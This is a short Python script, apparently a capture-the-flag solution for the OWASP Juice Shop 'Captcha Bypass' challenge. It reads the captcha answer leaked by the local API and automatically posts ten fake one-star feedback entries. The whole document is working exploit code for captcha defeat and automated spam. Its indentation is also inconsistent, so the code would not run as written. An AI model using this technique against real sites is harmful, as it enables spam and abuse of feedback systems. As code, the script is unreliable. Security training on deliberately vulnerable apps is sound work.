Python script (used with Burp Suite) for Juice Shop 🧃 3-Stars Challenge #4 Captcha Bypass ⛔

captchaBypass.py

import requests
import json
# Spam 10 negative feedback forms 
for x in range(0,10):
	# GET captcha id and answer
	r = requests.get("http://127.0.0.1:3000/rest/captcha/")
	data = r.json()
	captcha_id = data['captchaId']
	captcha_answer = data['answer'] 
	# Create form parameters
	json_obj = {  
    "captchaId": captcha_id,
    "captcha": captcha_answer,
    "comment": "Poor experience!",
    "rating": 1}
	# POST form details
  headers = {
    'Content-type':'application/json', 
    'Accept':'application/json' 
  }
	result = requests.post("http://127.0.0.1:3000/api/Feedbacks", data=json.dumps(json_obj), headers=headers)
	print(result)
	print(result.status_code)